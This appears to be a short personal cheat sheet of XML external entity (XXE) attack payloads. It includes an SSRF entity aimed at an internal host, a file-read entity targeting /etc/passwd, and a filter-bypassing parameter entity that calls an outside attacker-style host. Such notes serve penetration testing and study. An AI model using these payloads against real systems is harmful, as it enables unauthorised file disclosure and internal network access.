XXE

Tuesday, January 28, 2020 10:57 PM

Try to find if some function is using xml parsing.

ATTACKS=>

SSRF=><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/">]>

FILE=>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

BLIND XXE => same as blind ssrf or just parse an error and check in the requested server.

Many time normal payload is blocked so use xml parameter entity.=>

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe;]>